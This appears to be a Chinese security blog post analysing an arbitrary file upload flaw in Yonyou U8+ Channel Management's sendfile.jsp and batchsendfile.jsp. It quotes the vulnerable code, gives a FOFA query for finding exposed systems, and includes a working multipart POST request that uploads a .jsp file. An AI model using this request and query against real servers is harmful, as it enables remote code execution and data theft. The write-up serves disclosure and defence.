U8+渠道管理(高级版) sendfile.jsp、batchsendfile.jsp 文件上传漏洞


漏洞简介

U8+是用友公司推出的企业管理软件套件,广泛应用于财务、供应链、人力资源等多个业务领域。在U8+渠道管理(高级版)模块中,存在一处文件上传漏洞,位于其 sendfile.jsp 和 batchsendfile.jsp 文件中。攻击者可通过构造特定的HTTP请求,将恶意脚本或可执行文件上传至服务器。该漏洞可能导致攻击者在目标服务器上执行任意代码,从而获取服务器控制权限,进一步窃取敏感数据、篡改业务数据或对内网其他系统发起攻击。

影响版本

V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13

fofa语法

title="渠道管理(高级版)"

漏洞分析

直接看 sendfile.jsp 文件里有关文件处理的实现逻辑(batchsendfile.jsp处理逻辑与sendfile.jsp基本相同)

String objectname = "";
String repeatrule = "";
String refrule = "";
String filetype = "";
String flag = "";
String fieldimp = "";
String affix = "";
String fileFullName = "";
if(ServletFileUpload.isMultipartContent(request)){
  ServletFileUpload upload = new ServletFileUpload(new DiskFileItemFactory());
  upload.setHeaderEncoding("UTF-8");
  java.util.List<FileItem> fileItems = upload.parseRequest(request);
  for(FileItem fileItem : fileItems){
    if(fileItem.isFormField()){
      String fieldname = fileItem.getFieldName();
      if("objectname".equals(fieldname)){
        objectname = fileItem.getString("UTF-8");  
      }else if("repeatrule".equals(fieldname)){
        repeatrule = fileItem.getString("UTF-8");
      }else if("refrule".equals(fieldname)){
        refrule = fileItem.getString("UTF-8");
      }else if("filetype".equals(fieldname)){
        filetype = fileItem.getString("UTF-8");
      }else if("flag".equals(fieldname)){
        flag = fileItem.getString("UTF-8");
      }else if("fieldimp".equals(fieldname)){
        fieldimp = fileItem.getString("UTF-8");
      }
    }else{
      affix = fileItem.getName();
      String path = com.gxfcsoft.framework.base.util.PathUtil.getUserFile()+"temp"+java.io.File.separator;
      String fieldID = com.gxfcsoft.framework.base.util.UUID.getID();
      if(affix.indexOf(".")!=-1)
       fieldID +=affix.substring(affix.lastIndexOf("."));
         fileFullName = path+fieldID;
         java.io.File saveFilepath=new java.io.File(fileFullName);
         fileItem.write(saveFilepath);
    }
  }

预先定义了多个字符串变量并给它们赋了空字符串 ""作为初始值,然后判断当前收到的 HTTP 请求(request 对象,通常是 HttpServletRequest 类型)的内容类型(Content-Type)是否为 multipart/form-data。如果不是,if 内部的所有代码都不会执行。

isFormField() 方法用于区分当前处理的 fileItem 是一个普通表单字段(例如 <input type="text">、<input type="hidden">)还是一个文件上传字段(<input type="file">)。如果返回 true,则进入 if 块处理普通字段;如果返回 false,则进入 else 块处理文件。

重点看文件处理部分

// 9. 处理文件
    }else{
      // 9.1 获取原始文件名
      affix = fileItem.getName();
      // 9.2 构建服务器存储路径
      String path = com.gxfcsoft.framework.base.util.PathUtil.getUserFile()+"temp"+java.io.File.separator;
      // 9.3 生成唯一ID作为新文件名主体
      String fieldID = com.gxfcsoft.framework.base.util.UUID.getID();
      // 9.4 保留原始文件扩展名
          if(affix.indexOf(".")!=-1)
                  fieldID +=affix.substring(affix.lastIndexOf("."));
          // 9.5 拼接成完整的文件路径
                    fileFullName = path+fieldID;
          // 9.6 创建文件对象
                    java.io.File saveFilepath=new java.io.File(fileFullName);
          // 9.7 将文件内容写入磁盘
                    fileItem.write(saveFilepath);
    }

首先通过 fileItem.getName() 获取用户上传的原始文件名,然后从该文件名中提取文件后缀,并将其与一个新生成的 UUID 拼接,构成新的文件名。最后,将文件保存到服务器上,全程没有对文件后缀和内容进行校验,因此造成任意文件上传漏洞。

漏洞复现

两个漏洞逻辑一致,仅仅是路径不一样

business/common/lxgzds/batchsendfile.jsp

POST /business/common/importdata/sendfile.jsp HTTP/1.1
Host: u8.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.jsp"

UPLOAD_TEST
------WebKitFormBoundary--

在响应里成功回显上传文件的完整路径,直接访问

成功执行我们上传代码

官方补丁修复也很直接,直接正则检测后缀是否为白名单以及是否存在目录穿越等危险字符

img

img

参考


手机扫码阅读

CVE-2025-54424:1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)

汉王e脸通综合管理平台 queryMeetingAudit.do SQL注入漏洞

评 论